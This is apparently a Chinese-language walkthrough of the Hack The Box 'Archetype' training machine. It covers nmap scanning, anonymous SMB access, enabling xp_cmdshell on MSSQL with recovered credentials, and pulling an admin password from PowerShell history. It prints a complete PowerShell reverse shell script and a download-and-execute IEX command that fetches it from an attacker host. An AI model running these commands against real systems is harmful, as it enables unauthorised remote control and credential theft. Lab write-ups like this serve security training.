[渗透测试]HTB-Archetype

0x01 信息收集

使用nmap扫描 目标
nmap -Pn -sC 10.129.61.193 //-sC 使用脚本扫描 -Pn 跳过主机发现，直接扫描端口

0x02 对445端口进行测试

Smbclient 是linux上用于连接smb服务的工具
smbclient -L // -L 列出所有共享用户

存在 backups 匿名登录
smbclient -N //10.129.61.193/backups/ 登录成功



发现数据库账号密码

0x03 对1433端口进行测试

select is_srvrolemember(‘sysadmin’)
返回了 1 说明是sa权限 可以使用拓展存储命令执行

EXEC sp_configure 'Show Advanced Options', 1;
reconfigure;
sp_configure;
EXEC sp_configure 'xp_cmdshell', 1 reconfigure;
xp_cmdshell "whoami"

这里需要获取一个操作系统shell更加方便我们操作

有很多种办法
powercat
创建一个文件 名字为 shell.ps1 将脚本写入目标机器并执行

$client = New-Object System.Net.Sockets.TCPClient("10.10.14.25",443);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
{;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data 2>&1 | Out-String ); //2>&1标准错误重定向到标准输出
$sendback2 = $sendback + "# ";
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()};
$client.Close()

将脚本下载并执行

xp_cmdshell "powershell "IEX (New-Object Net.WebClient).DownloadString(\"http://10.10.14.166/shell.ps1\");"

终于弹回来了 太卡了

查看powershell 日志

type C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\Console Host_history.txt

此net use命令作用是使用administrator用户登录后将共享文件夹\Archetype\backups映射到本机的T盘

获得了管理员账号密码
使用psexec 连接

MEGACORP_4dm1n!!

在administrator的桌面的root.txt里发现flag

0x04 impacket

git clone https://github.com/SecureAuthCorp/impacket.git
cd impacket
pip3 install .
#OR:
sudo python3 setup.py install
#In case you are missing some modules:
pip3 install -r requirements.txt

0x05 总结

通过nmap扫描发现存在 445，1433开放。smbclient 列出目标smb共享用户发现可以匿名访问，发现数据库账号密码 通过impacket 里的mssqlclient 连接上
发现是sa权限 获得命令执行 通过python3 搭建简易web服务器
让目标下载powershell脚本并执行 在目标桌面发现第一个flag 查看powershell历史记录。直接看见管理员账户密码，再用impacket里的psexec连接。

select is_srvrolemember('sysadmin') # mssql 查询是否为sa权限(super admin)

powershell 远程下载并通过iex执行脚本

powershell "IEX (New-Object Net.WebClient).DownloadString(\"http://10.10.14.166/shell.ps1\");

powercat

powershell历史地址

C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\Console Host_history.txt

net use

psexec